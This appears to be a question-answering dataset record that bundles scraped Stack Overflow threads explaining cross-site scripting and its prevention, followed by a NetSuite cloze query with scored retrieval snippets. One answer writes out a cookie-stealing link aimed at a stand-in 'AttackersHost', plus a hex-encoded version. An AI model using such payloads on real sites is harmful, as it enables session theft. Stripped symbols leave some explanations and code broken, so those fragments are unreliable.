for example and they do not prevent me from XSS attack I can shout Hey come on this link and enter you passwords and credit-card No for a security check .. . And you know where this link will lead to right You can prevent the XSS attacks by make sure you don t display anything on your page that is coming from users input without escaping html tags . The special-characters should be escaped so that they don t interfere with the markup of your html pages or whatever technology you use . There are lot of libraries that provide this including Microsoft AntiXSS library .", "Question : Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users . An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy . Cross-site scripting carried out on websites were roughly 80 of all security vulnerabilities documented by Symantec as of 2007 . Okay so does this mean that a hacker crafts some malicious JS VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs I mean I know how SQL injection is done... . I particularly don t understand how JS VBscript can cause so much damage I thoguht they are only run within browsers but apparently the damage ranges from keylogging to cookie stealing and trojans http : en.wikipedia.org wiki BeEF 28Browser Exploitation Framework 29 . Is my understanding of XSS correct if not can someone clarify How can I prevent XSS from happening on my websites This seems important 80 of security vulnerabilities means that it s an extremely common method to compromise computers . .. . Answer : Straight Forward XSS .. . .. . 1 . I find google has an xss vulnerability .. . 2 . I write a script that rewrites a public google page to look exactly like the actual google-login .. . 3 . My fake page submits to a third party server and then redirects back to the real page .. . 4 . I get google account passwords users don t realize what happened google doesn t know what happened .. . .. . XSS as a platform for CSRF this supposedly actually happened .. . .. . 1 . Amazon has a csrf vulnerability where a always keep me logged in cookie allows you to flag an entry as offensive .. . 2 . I find an xss vulnerability on a high traffic site .. . 3 . I write a javascript that hits up the urls to mark all books written by gay lesbian authors on amazon as offensive .. . 4 . To amazon they are getting valid requests from real browsers with real auth cookies . All the books disappear off the site overnight .. . 5 . The internet freaks the hell out . XSS as a platform for Session Fixation attacks .. . .. . 1 . I find an e-commerce site that does not reset their session after a login like any asp.net site have the ability to pass session id in via query-string or via cookie and stores auth info in the session pretty common .. . 2 . I find an XSS vulnerability on a page on that site .. . 3 . I write a script that sets the session ID to the one I control .. . 4 . Someone hits that page and is bumped into my session . 5 . They log in .. . 6 . I now have the ability to do anything I want as them including buying products with saved cards .. . .. . Those three are the big ones . The problem with XSS CSRF and Session Fixation attacks are that they are very very hard to track down and fix and are really simple to allow especially if a developer doesn t know much about them . Comment : This is a really good answer I have described the attack vector but I think you ve outlined the XSS attacks better than me . Comment : man i wish they had a Stackoverflow type of site specially for computer security topics Comment : @bkbkbk security.stackexchange.com http : security.stackexchange.com", "Question : Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users . An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy . Cross-site scripting carried out on websites were roughly 80 of all security vulnerabilities documented by Symantec as of 2007 . Okay so does this mean that a hacker crafts some malicious JS VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs I mean I know how SQL injection is done... . I particularly don t understand how JS VBscript can cause so much damage I thoguht they are only run within browsers but apparently the damage ranges from keylogging to cookie stealing and trojans http : en.wikipedia.org wiki BeEF 28Browser Exploitation Framework 29 . Is my understanding of XSS correct if not can someone clarify How can I prevent XSS from happening on my websites This seems important 80 of security vulnerabilities means that it s an extremely common method to compromise computers . .. . Answer : As the answers on how XSS can be malicious are already given I ll only post two nice flash introductions on XSS and answer the following question left unanswered : .. . .. . how can i prevent XSS from happening on my websites .. . .. . Here are two nice flash introductions about XSS : .. . .. . https : www.virtualforge.com vmovie xss lesson 1 xss selling platform v1.0.swf .. . https : www.virtualforge.com vmovie xss lesson 2 xss selling platform v2.0.swf .. . .. . As to preventing from XSS you need to HTML-escape any user-controlled input when they re about to be redisplayed on the page . This includes request headers request parameters and any stored user-controlled input which is to be served from a database . Especially the and needs to be escaped because it can malform the surrounding HTML code where this input is been redisplayed . Almost any view technolgy provides builtin ways to escape HTML or XML that s also sufficient entities http : en.wikipedia.org wiki List of XML and HTML character entity references . In PHP you can do that with htmlspecialchars http : php.net manual en function.htmlspecialchars.php . E.g . If you need to escape singlequotes with this as well you ll need to supply the ENT QUOTES argument also see the aforelinked PHP documentation . In JSP you can do that with JSTL c : out http : docs.oracle.com javaee 5 jstl 1.1 docs tlddocs c out.html or fn : escapeXml http : docs.oracle.com javaee 5 jstl 1.1 docs tlddocs fn escapeXml.fn.html . E.g . or .. . .. . Note that you actually don t need to escape XSS during request processing but only during response processing . Escaping during request processing is not needed and it may malform the user input sooner or later and as being a site admin you d also like to know what the user in question has actually entered so that you can take social actions if necessary . With regard to SQL injections just only escape it during request processing at the moment when the data is about to be persisted in the database . Comment : flash files are good thanks . Comment : Oh the irony of providing security information via flash files :", "Question : Cross-site scripting XSS is a type of computer security vulnerability typically found in web-applications which enable malicious attackers to inject client-side script into web pages viewed by other users . An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same-origin-policy . Cross-site scripting carried out on websites were roughly 80 of all security vulnerabilities documented by Symantec as of 2007 . Okay so does this mean that a hacker crafts some malicious JS VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs I mean I know how SQL injection is done... . I particularly don t understand how JS VBscript can cause so much damage I thoguht they are only run within browsers but apparently the damage ranges from keylogging to cookie stealing and trojans http : en.wikipedia.org wiki BeEF 28Browser Exploitation Framework 29 . Is my understanding of XSS correct if not can someone clarify How can I prevent XSS from happening on my websites This seems important 80 of security vulnerabilities means that it s an extremely common method to compromise computers . .. . Answer : i dont get how JS VBscript can cause so much damage Ok . suppose you have a site and the site is served from http : trusted.server.com thesite . Let s say this site has a search-box and when you search the url becomes : http : trusted.server.com thesite query somesearchstring . If the site decides to not process the search string and outputs it in the result like You search somesearchstring didn t yield any results then anybody can inject arbitrary html into the site . For example : .. . .. . So in this case the site will dutifully show a fake login form on the search results page and if the user submits it it will send the data to the evil untrusted server . But the user doesn t see that esp . if the url is really long they will just see the first but and assume they are dealing with trusted.server.com . Variations to this include injecting a script-tag that adds event handlers to the document to track the user s actions or send the document cookie to the evil server . This way you can hope to bump into sensitive data like login password or credit-card data . Or you can try to insert a specially styled iframe that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com . As long as the user is tricked into using the injected content instead of the original the security s comprompised . This type of XSS is called reflective and non-persistent . Reflective because the url is relected directly in the response and non-persistent because the actual site is not changed - it just serves as a pass-through . Note that something like https offers no protection whatsoever here - the site itself is broken because it parrots the user input via the query-string . The trick is now to get unsuspecting users to trust any links you give them . For example you can send them a HTML email and include an attractive looking link which points to the forged url . Or you can perhaps spread it on wikis forums etc . I am sure you can appreciate how easy it really is - it s just a link what could go wrong right Sometimes it can be worse . Some sites actually store user-supplied content . Simple example : comments on a blog or threads on a forum . Or it may be more subtle : a user-profile page on a social network . If those pages allow arbitrary html esp . script and this user-supplied html is stored and reproduced then everybody that simply visits the page that contains this content is at risk . This is persistent XSS . Now users don t even need to click a link anymore just visiting is enough . Again the actual attack consists of modifying the page through script in order to capture user data . Script injection can be blunt for example one can insert a complete script src http : evil.server.net script.js or it may be subtle : img src broken onerror ...quite elaborate script to dynamically add a script tag.. . . As for how to protect yourself : the key is to never output user input . This may be difficult if your site revolves around user-supplied content with markup .", "Question : At this link : http : www.acunetix.com websitesecurity cross-site-scripting under The Theory of XSS it says : the hacker infects a legitimate web page with his malicious client-side script . My first question on reading this is : If the application is deployed on a server that is secure as is the case with a bank for example how can the hacker ever get access to the source code of the web page Or can he inject the malicious script without accessing the source jsp Comment : possible duplicate of What is Cross Site Script Inclusion XSSI http : stackoverflow.com questions 8028511 what-is-cross-site-script-inclusion-xssi .. . Answer : That attacker doesn t need access to the source code . A simple example would be a URL parameter that is written to the page . You could change the URL parameter to contain script tags . Another example is a comment system . If the website doesn t properly sanitize the input output an attacker could add script to a comment which would then be displayed and executed on the computers of anyone who viewed the comment . These are simple examples . There s a lot more to it and a lot of different types of XSS attacks .", "Question : Can someone explain how XSS works in plain english Maybe with an example . Googling didn t help much . Comment : Do you mean Cross-site scripting .. . Answer : Cross Site Scripting basically is a security vulnerability of dynamic web pages where an attacker can create a malicious link-to inject unwanted executable JavaScript into a Web site . The most usual case of this vulnerabilities occurs when GET variables are printed or echoed without filtering or checking their content . When a victim clicks the link the malicious code can then send the victim s cookie away to another server or it can modify the affected site injecting forms to steal usernames and passwords and other phishing techniques . Example of malicious link : .. . .. . http : VulnerableHost a.php variable script document.location http : VulnerableHost a.php variable script document.location http : AttackersHost cgi-bin cookie.cgi 3Fdata +document.cookie script .. . .. . It s also common to encode the malicious code for example in hex : .. . .. . Malicious Link http : VulnerableHost a.php variable 22 3E 3C 73 63 72 69 70 74 3E 64 6F 63 75 6D 65 6E 74 2E 6C 6F 63 61 74 69 6F 6E 3D 27 68 74 74 70 3A 2F 2F 41 74 74 61 63 6B 65 72 73 48 6F 73 74 2F 63 67 69 2D 62 69 6E 2F 63 6F 6F 6B 69 65 2E 63 67 69 3F 20 27 2B 64 6F 63 75 6D 65 6E 74 2E 63 6F 6F 6B 69 65 3C 2F 73 63 72 69 70 74 3E Comment : It s a good thing SO is filtering that : P Comment : Haha yes this is a good example of proper escaping . Nice job Stack Overflow :", "Question : We want to do a Facebook app for our brand page where a form will be brought in from a secure domain that we own . But our finance department seems unwilling to allow this because of cross frame scripting attacks that are possible with iFrames . Many big companies have apps inside FB and are collecting user data . I doubt FB would allow any code that would be insecure in this manner . I am looking for any site that talks about how FB manages such risks . What can we do to manage this risk on our end Isn t it true that if our content is coming from our own secure server then FB just happens to be the place where we do out stuff but the actual security lays with us Would welcome any thoughts to counter our finance department s reservations or even pointers to read up on this subject in detail . FB s own help is sparse on this matter . Thanks Comment : @Sean Kinsey that is incorrect . This is a method of exploiting XSS . Comment : @Rook The page you refer to is mostly mentioning CSRF and XSS with iframes simply being a method for having the pages loaded . Sure it s defined by OWASP as such so I get your point . .. . Answer : Cross-frame scripting https : www.owasp.org index.php Cross Frame Scripting is a method of exploiting a Cross-site scripting XSS vulnerability . If your web application has been tested and found to be immune to XSS vulnerabilities then Cross-frame scripting is not a concern . You might want to read about the Same Origin Policy and how it treats iframes http : code.google.com p browsersec wiki Part2 Origin inheritance rules . As a side note XSS is useful to attackers because it allows them to bypass the Same Origin Policy . With a site that allows iframe d content you have to worry about clickjacking http : en.wikipedia.org wiki Clickjacking . if you are unfamiliar with extremely common web application vulnerability like XSS make sure to read the OWASP top 10 . Comment : As for the clickjacking and assuming that Facebook itself will not have implemented such a thing or is vulnerable to XSS to insert code for it an X-Frame-Options header limiting the domains which are allowed to embed the APP in an iframe is a good additional counter measure . Comment : @CBroe Yes i agree", "Question : I was trying to hit a web service on a different domain using jQuery s ajax method . After doing some research it looks like it does not allow this is by design to prevent cross site scripting . I came across a work around which was to include this line : .. . .. . at the top of my javascript code . From what I understand this enables cross site scripting in jQuery . Does having this line of code make my site more vulnerable to attack I ve always heard XSS discussed as a security issue are there legitimate uses for XSS Comment : Background : api.jquery.com jQuery.support http : api.jquery.com jQuery.support I don t think that setting enables anything though . It just tells jQuery what is supported Comment : @Pekka - The very document you link says exactly the opposite . Comment : @Alvaro you don t enable CORS by setting that variable . You just tell jQuery that you re in an environment where Cross-Domain XHR requests are possible . So granted you enable their use in jQuery fair enough . .. . Answer : XSS is not a feature that can be enabled in jQuery . It would be very very unusual if the jQuery core had an XSS vulnerability but it is possible and its called DOM-based XSS https : www.owasp.org index.php DOM Based XSS . Cross-Origin Resource Sharing or CORS isn t the same as XSS BUT but if a web application had an XSS vulnerability then an attacker would have CORS-like access to all resources on that domain . In short CORS gives you control over how you break the same-origin-policy http : code.google.com p browsersec wiki Part2 such that you don t need to introduce a full on XSS vulnerability . The .support.cors query feature relies upon the Access-Control-Allow-Origin HTTP response header . This could be a vulnerability . For example if a web application had Access-Control-Allow-Origin : on every page then an attacker would have the same level of access as an XSS vulenrablity . Be careful what pages you introduce CORS headers and try and avoid as much as possible . So to answer your question : NO a web application never needs to introduce an XSS vulnerability because there are way around the SOP such as CORS jsonp cross-domain proxies access-control-origin http : www.w3.org TR 2008 WD-access-control-20080912 access-control-allow-origin . Comment : If you have a simple GET that you want to enable only and you have subdomains across a website then how do you have the default : visited style behavior work in a link . You don t given your philosophy . Comment : @kitgui.com i have no idea what you are asking or what it has to do with security . Comment : there is no at the end . Comment : in phonegap for android access-control origin is normally set to but on a mobile that s expected . you mean that this is a issue Comment : CORS is always server-side . Android has its own ways of violating the SOP for it s browser apps . This is really a different question but the rational here is that by installing the app the user has granted permission to a browser app to run independently from the SOP which would be true for an app written in Java .", "Question : What is a clear explanation of the difference between server XSS http : en.wikipedia.org wiki Cross-site scripting and client XSS I read the explanation on the site of OWASP but it wasn t very clear for me . I know the reflected stored en DOM types . .. . Answer : First to set the scene for anyone else finding the question we have the text from the OWASP Types of Cross-Site Scripting https : www.owasp.org index.php Types of Cross-Site Scripting Server XSS page : .. . .. . Server XSS .. . .. . Server XSS occurs when untrusted user supplied data is included in an HTML response generated by the server . The source of this data could be from the request or from a stored location . As such you can have both Reflected Server XSS and Stored Server XSS . .. . In this case the entire vulnerability is in server-side code and the browser is simply rendering the response and executing any valid script embedded in it . .. . Client XSS .. . .. . Client XSS occurs when untrusted user supplied data is used to update the DOM with an unsafe JavaScript call . A JavaScript call is considered unsafe if it can be used to introduce valid JavaScript into the DOM . This source of this data could be from the DOM or it could have been sent by the server via an AJAX call or a page load . The ultimate source of the data could have been from a request or from a stored location on the client or the server . As such you can have both Reflected Client XSS and Stored Client XSS . This redefines XSS into two categories : Server and Client . Server XSS means that the data comes directly from the server onto the page . For example the data containing the unsanitized text is from the HTTP response that made up the vulnerable page . Client XSS means that the data comes from JavaScript which has manipulated the page . So it is JavaScript that has added the unsanitized text to the page rather than it being in the page at that location when it was first loaded in the browser . Example of Server XSS .. . .. . An ASP or ASP.NET page outputs a variable to the HTML page when generated which is taken directly from the database : .. . .. . As firstName is not HTML encoded a malicious user may have entered their first name as script alert foo script causing a successful XSS attack . Another example is the output of variables processed through the server without prior storage : .. . .. . Example of Client XSS .. . .. . Note that our get first name.aspx method does no encoding of the returned data as it is a web service method that is also used by other systems content-type is set to text plain . Our JavaScript code sets innerHTML to this value so it is vulnerable to Client XSS . To avoid Client XSS in this instance innerText should be used instead of innerHTML which will not result in interpretation of HTML characters . It is even better to use textContent https : developer.mozilla.org en-US docs Web API Node textContent as Firefox is not compatible with the non-standard innerText property . code adapted from this answer http : stackoverflow.com a 8567149 413180 .", "Question : I was trying to hit a web service on a different domain using jQuery s ajax method . After doing some research it looks like it does not allow this is by design to prevent cross site scripting . I came across a work around which was to include this line : .. . .. . at the top of my javascript code . From what I understand this enables cross site scripting in jQuery . Does having this line of code make my site more vulnerable to attack I ve always heard XSS discussed as a security issue are there legitimate uses for XSS Comment : Background : api.jquery.com jQuery.support http : api.jquery.com jQuery.support I don t think that setting enables anything though . It just tells jQuery what is supported Comment : @Pekka - The very document you link says exactly the opposite . Comment : @Alvaro you don t enable CORS by setting that variable . You just tell jQuery that you re in an environment where Cross-Domain XHR requests are possible . So granted you enable their use in jQuery fair enough . .. . Answer : When a hacker is able to inject script code to change the requests to another domain he is also able to set this javascript flag in the script . So wether this flag is set doesn t change much at this point of the intrusion . Comment : This really doesn t answer the question . At the point of intrusion all bets are off but the idea is to prevent that from happening .", "Question : I would like to use a browser based code editor such as Monaco https : microsoft.github.io monaco-editor index.html or Ace https : ace.c9.io in my application to allow users to write some code in the browser that will be executed by other users . You can imagine jsfiddle or similar . However I don t want to open up Cross-Site-Scripting vulnerabilities . I m not finding much about how to properly implement these tools in an application and prevent XSS . Is there a way to sandbox the javascript written in these tools when it runs How do tools such as JSFiddle CodePen and online editors etc . protect against malicious scripts In general what techniques should I use to prevent XSS vulnerabilities when using a browser-based code editor in my app .. . Answer : Typically these tools run the script on another domain . So they are intentionally vulnerable to Cross-Site Scripting but they sandbox it by leveraging the same-origin-policy . That s the simplest and easiest way to do it . Even if the editor site has logins etc . scripting running on this sandbox domain is blocked by the same-origin-policy from accessing any content on the main domain and as such the XSS is rather useless .", "Question : Can someone explain how XSS works in plain english Maybe with an example . Googling didn t help much . Comment : Do you mean Cross-site scripting .. . Answer : XSS - .. . .. . Vulnerability caused when the web-site places the trust on the user and does not filter the user-input . The user-input causes unwanted script to be executed on the site . 1 . Prevention : .. . .. . Filter user input using HTML input sanitizers .. . .. . e.g strip tags htmlspecialchars htmlentities mysql real string escape in php .. . .. . CSRF : .. . .. . Vulnerability caused when the user places the trust on the site but the site may work to get user-information and misuse it . 1 . Prevention : .. . .. . Uniquely auto-generate a csrf token every-time a form is rendered . The csrf token is sent to the server on form submission for verification . e.g . https : docs.djangoproject.com en dev ref contrib csrf", "Question : At this link : http : www.acunetix.com websitesecurity cross-site-scripting under The Theory of XSS it says : the hacker infects a legitimate web page with his malicious client-side script . My first question on reading this is : If the application is deployed on a server that is secure as is the case with a bank for example how can the hacker ever get access to the source code of the web page Or can he inject the malicious script without accessing the source jsp Comment : possible duplicate of What is Cross Site Script Inclusion XSSI http : stackoverflow.com questions 8028511 what-is-cross-site-script-inclusion-xssi .. . Answer : That description is a bit misleading in the way it s phrased . The page provided by the server when someone requests it is unaltered . Instead an XSS attack exploits a weakness in a page that include a variable submitted in a request to show up in raw form in the response . The page is only reflecting back what was submitted in that request.. . but the content of that request might hold characters that break out of ordinary text content and introduce HTML or javascript content that the developer did not intend . Here s a quick example . Let s say you have some sort of templating language made to produce an HTML page like PHP ASP CGI or a Velocity or Freemarker script . It takes the following page and substitutes name with the unescaped value of the name query parameter . Someone calling that page with the following URL : .. . .. . Should expect to see this message : .. . .. . Calling the same page with something more malicious can be used to alter the page or user-experience substantially . Instead of just saying Hi Rumplestiltskin this URL would also cause the page to pop-up an alert message that says Boo . That is of course a simplistic example . One could provide a sophisticated script that captures keystrokes or asks for a name and password to be verified or clears the screen and entirely rewrites the page with shock content . It would still LOOK like it came from example.com because the page itself did but the CONTENT is being provided somewhere in the request and just reflected back as part of the page . So if the page is just spitting back content provided by the person requesting it and you re requesting that page then how does a hacker infect YOUR request Usually this is accomplished by providing a link either on a web page or sent to you by e-mail or in a URL-shortened request so it s difficult to see the mess in the URL . Nothing on the server is ever infected . XSS is just a trick to make things appear to have come from a server when that server s page is known to repeat back what it is sent . Comment : Thanks for a great explanation Comment : I had the wrong idea that inside a company intranet when you try to access a website that is in a different domain within the same company only then XSS problems occur . Bit it seems that XSS can occur all the time . Even if I am trying to access something like localhost : 8080 someservlet http : localhost : 8080 someservlet Comment : Your new understanding is correct . You re describing a valid danger though . XSS initially just affects the page you re accessing but the new content you inject can redirect you anywhere-- and is especially dangerous when that place is somewhere you ve already authenticated into .", "Question : I m working with Apache Fuseki 2.3.1 . on Linux RedHat as a standalone server : .. . .. . The safety tests team has raised an anomaly of Cross Site Scripting XSS . Does anyone know how to prevent this issue Comment : For example it s possible to write on : myurl dataset.html http : myurl dataset.html a query like : SELECT script alert document.domain script WHERE subject predicate object LIMIT 25 thath show a pop-up whith hostname . .. . Answer : This issue was solved by Jena Fuseki team and will be released on next version of Fuseki 2.4.0 . See : .. . .. . Cross Site Scripting XSS vulnerability on Fuseki 2.3.1 https : issues.apache.org jira browse JENA-1123", "Question : Im curious the pages in question are password protected but it got me thinking . Im experitmenting with the Wymeditor J-Query plugin it works rather well and deals with XSS scripting attempts by automatically converting angle brackets into html characters etc . Obviously with direct access a user could disable javascript and then insert any manner of malicious tags into the DB . However i am wondering would it be possible for an automated script to disable javascript if it managed to get buy the password-protection and thus insert malicious scripts to the DB which would then be run when DB information is displayed on another page UPDATE .. . .. . I should probably have expanded a bit . I would usually strip tags and use prepared statements however for Wymeditor to be of any use to the client then I can t use strip tags . I know I could write some code to remove any malicious looking content but im not sure just how much malicious content i would be looking for im assuming XSS attacks are alot more varied than just script do bad stuff script type of thing . .. . Answer : Rule 1 : never trust user data . Corollary : anything that comes from the client-side is user data no matter what in-browser measures your page takes An automated script might not be running JS at all to begin with or may inject form fields not present on your page . So while the JS editor doesn t make the site any less safe it doesn t provide any additional security either : client-side measures such as JS input filtering are for user convenience only and provide exactly zero protection you need to sanitize user input server-side regardless of client-side . Comment : I am aware of this hence why i am asking about Wymeditor is it ever safe to use such a plugin on a live site Obviously certain forums allow you to bold text etc without adding b tags so im wondering how they get around it . I should add that i always strip tags and use prepared statements when enetering info to a DB but in this case to use Wymeditor is requires some tags to be entered aswell . Comment : Safety is completely unrelated to the plugin . It doesn t make the site any more or less safe safety needs to be ensured at the server-side . Comment : so if you want to allow some HTML then you have to use a defence that allows it which usually means a DOM parser and a whitelist of acceptable tags and attributes . Comment : Are there any such lists around and parsers already around Comment : @Piskvor I done a bit more research and came accross the htmlpurifier PHP library which does exactly what im looking for well with a little bit of customisation .", "Question : How do I prevent XSS cross-site scripting using just HTML and PHP I ve seen numerous other posts on this topic but I have not found an article that clear and concisely states how to actually prevent XSS . Comment : Just a note that this won t solve the case where you might want to use user input as an HTML attribute . For example the source URL of an image . Not a common case but an easy one to forget . .. . Answer : You are also able to set some XSS related HTTP response headers via header .. . .. . .. . X-XSS-Protection 1 mode block .. . .. . to be sure the browser XSS protection mode is enabled . Content-Security-Policy default-src self .. . .. . .. . to enable browser-side content security . See this one for Content Security Policy CSP details : http : content-security-policy.com Especially setting up CSP to block inline-scripts and external script sources is helpful against XSS . for a general bunch of useful HTTP response headers concerning the security of you webapp look at OWASP : https : www.owasp.org index.php List of useful HTTP headers", "Question : I have a show route that displays the contents of my article .. . .. . Controller : .. . .. . View : .. . .. . When running Brakeman it flags the above as a potential Cross-Site Scripting XSS vulnerability .. . .. . I m trying to figure out what XSS really is and what makes this vulnerable If someone injected some malicious text or input into the params : id field in the route e.g . articles BAD INPUT then Article.find would not find the article and raise an error .. . .. . The only way the view renders is if a valid Article record is found right How else can the user manipulate this Thanks Edit : I should definitely protect agains the case-when an Article is not found and an error is raised but I figured that s more of a bad design rather than a security vulnerability .. . Answer : Ok found the answer after some digging . It apparently has to do with html safe and raw which is just an alias for html safe . The issue is specific to Brakeman and outlined here https : github.com presidentbeef brakeman issues 516 .. . .. . That thread says the issue is acknowledged and solved but it still didn t work for me using the latest version . I solved it as follows .. . .. . Controller : .. . .. . View : .. . .. . Essentially we re marking the Article content as html safe using the alias raw beforehand so it doesn t cause an issue in the view . Messier than I d like but it works", "Question : Is it secure to use window.location.href without any validation For example : .. . .. . From the above example is it vulnerable to Cross-site scripting XSS attack If it is then how How the attacker can modify the value of window.location.href to the malicious content Edit Second Situation .. . .. . This is the url : www.example.com url www.attack.com .. . .. . Just assume taht I have a getQueryString function that will return-value without validation . Same question is it vulnerable to Cross-site scripting XSS attack If it is then how How can an attacker just make use of window.location.href value to perform XSS Thank you very much your answer will be very much appreciated . Comment : window.location.href is a string . Strings are harmless until you do something potentially harmful with them innerHTML maybe .. . or eval Comment : The attacker able to modify the value of window.location.href or not Cause if they able to do so I think this is dangerous . For example if they can change the content of window.location.href they might change it to alert Inject successful Comment : And what do you think that ll achieve Have you tried it http : jsfiddle.net 5fZHz Comment : I don t know I just wonder if they able to change the value of window.location.href or not . Comment : Then you would have a problem because someone could pass script alert Haaaaax script .. . Answer : Using location.href can be understood to include two things : .. . .. . 1 . Using the value of location.href by passing it around in your code manipulating it and using it to guide the logic in your code . 2 . Assigning someting to location.href causing the browser to navigate to different URLs . The first one using the value can be considered safe . The value of location.href is nothing more than a string . Of course it s part of user input so you don t want to pass it to an eval statement but that s true for all other forms of user input as well . In fact the value of location.href is always a valid URL so certain assumptions can be made of its content . In that sense you could argue it s more safe than most forms of user input . As long as you don t make any wrong assumptions . The second one is something you should be careful with . Assigning unvalidated values to it can lead to open redirects that can be used for phishing and what s more XSS issues arising from the use of javascript : and vbscript : URIs . .. . .. . Edit : As requested here s a more in-depth explanation of the problems with assiging to location.href : .. . .. . Say you have an attacker controlled variable foo . The source of it can be anything really but a query-string parameter is a good example . When you assign the value of foo to location.href what happens Well the browser does its best to interpret the value as a URI and then redirects the user to the resulting address . In most cases this will trigger a page load e.g . if value is https : www.google.com Google s front page will be loaded . Allowing that to happen without user interaction is known as an open redirect https : www.owasp.org index.php Open redirect and is considered a security vulnerability There are however types of URIs that won t trigger a page load . A common example of such a URI would be one that contains nothing but a fragment-identifier e.g . quux . Assigning that to location.href would cause the page to scroll to the element with the ID quux and do nothing else . Fragment URIs are safe as long as you don t do anything stupid with the values of the fragments themselves . Then to the interesting part : javascript : and vbscript : URIs . These are the ones that will bite you . The JavaScript and VBScript URI schemes are non-standard URI schemes that can be used to execute code in the context of the currently open web page . Sounds bad doesn t it Well it should . Consider our attacker-controlled variable foo : all an attacker has to do to launch an attack against your users is inject a script URI into the variable . When you assign it to location.href it s basically the same as calling eval on the script . JavaScript URIs work in all modern browsers while VBScript is IE-only and requires the page to be rendered in quirks-mode . Finally there s one more interesting URI scheme to consider : the data URI . Data URIs are file literals : entire files encoded as URIs . They can be used to encode any files including HTML documents . And those documents like any others can contain scripts . Most browsers treat each data URI as its own unique origin https : developer.mozilla.org en-US docs Web Security Same-origin policy . That means the scripts in an HTML document wrapped in a data URI can not access any data on other pages . Except in Firefox . Firefox treats data URIs a bit differently from all other browsers . In it data URIs inherit the origin of whatever document is opening it . That means any scripts can access the data contained in the referring document . And that s XSS for you . Comment : I am interested in your second explanation in term of XSS . Could you please explain more and give some example on how XSS attack can perform based on this situation For example script var value getQueryString url window.location.href value script Just assume that I have a function getQueryString that will return-value without validation . Just window.location.href value will cause XSS Comment : Edited the answer with some more details . Comment : Thank you your explanation is clear and helpful . Very much appreciated ." ] }
[ "yes-answer-long", "yes-answer-short" ]
web-applications
UNK_RELATION
netsuite@saas@57
netsuite -- netsuite is a vendor of business management @placeholder .
{ "confidence": [ 46.11515808105469, 45.24677658081055, 43.166961669921875, 42.4304084777832, 41.676666259765625, 41.488502502441406, 41.45063018798828, 41.43510437011719, 41.219017028808594, 41.219017028808594, 40.19977569580078, 40.005950927734375, 40.005950927734375, 39.97002410888672, 39.97002410888672, 39.97002410888672, 39.97002410888672, 39.97002410888672, 39.97002410888672, 39.97002410888672, 39.73002624511719, 39.21999740600586, 38.52906036376953, 38.04570770263672, 38.04570770263672, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.76216506958008, 37.54928207397461, 37.53426742553711, 37.53426742553711, 37.394287109375, 36.930694580078125, 36.285274505615234, 36.285274505615234, 36.285274505615234, 36.285274505615234, 36.285274505615234, 36.285274505615234, 36.285274505615234, 35.38020324707031, 35.322998046875, 35.30549621582031, 35.30549621582031, 35.30549621582031, 34.871681213378906, 34.871681213378906, 34.871681213378906, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.72283172607422, 34.13121032714844, 34.13121032714844, 33.891902923583984, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375, 33.245941162109375 ], "content": [ "Is there an AND OR filter in NetSuite", "Netsuite", "User logs in to NetSuite initiating a NetSuite session .", "Is there a NetSuite sandbox", "Does Netsuite Support Oauth2.0", "2.Call the NetSuite API and push data from Database to NetSuite .", "Is it possible in Netsuite", "The first one to create the Vendor record in Netsuite just assign one if the subsidiaries .", "From NetSuite Help : .. . .. . nlapiGetLogin .. . .. . Returns the NetSuite login credentials of currently logged-in user .", "I am working on a provisioning solution with Netsuite and I am very new to netsuite .", "I need this to be reflected in NetSuite .", "Try the pricing groups feature of NetSuite .", "Although this is probably a NetSuite OneWorld feature .", "NetSuite does provide substring and regex expressions .", "Need help on deleting a voiding journal in NetSuite .", "NetSuite tells me it is not possible to delete a voiding journal .", "You d need to define the parameters in the script record in NetSuite .", "Yes Netsuite is odd about the formulaX fields .", "I am trying to create a report in NetSuite .", "Is there a way to get the list of roles that are available in an Netsuite account", "We thought this related to netsuite sessions but turned out to be nothing to do with that at all and in fact was not even hitting netsuite according to netsuite log .", "Friends m working with NetSuite and SuiteScript .", "Is a direct connection to Netsuite necessary at all", "Create a scheduled script in NetSuite .", "Unfortunately this is not currently possible with NetSuite .", "I m using php-toolkit for netsuite 2013.1 .", "I m working with NetSuite PHP Toolkit 2013 2 version .", "Looks like the netsuite stack exchanged never happened .", "What does the Separate Netsuite Account means", "I m working with NetSuite SuiteCommerce Mont Blanc .", "I know shipstatus is standard field NetSuite supports .", "Received the working solution from NetSuite support it says. .", "Apparently this feature is not available within NetSuite at this moment .", "The order details then goes into Netsuite ERP .", "Sandbox account in NetSuite is provisioned only to a production NetSuite account users which is a replica of live account .", "The most complete implementation of SuiteTalk in Ruby is the netsuite ruby gem https : github.com revolutionprep netsuite .", "Here s how you would iterate over all vendor records in a NetSuite instance :", "I have a doubt about the nlapiSetFieldValue and nlapiGetFieldValue methods on NetSuite API .", "Use the Web Reference for NetSuite it s easier .", "I am using suitetalk toolkit for accessing Netsuite .", "Log into NetSuite click the Help and a window will open .", "NetSuite making money through services they are offering for their products .", "Might be something you want to report to NetSuite support", "I would like to integrate NetSuite with JD Edwards .", "I am using free marker in a netsuite environment .", "Here s an example https : github.com netsweet netsuite searching using the NetSuite ruby gem .", "I am working with NetSuite eCommerce and I need to check something my site runs a script when user is logged 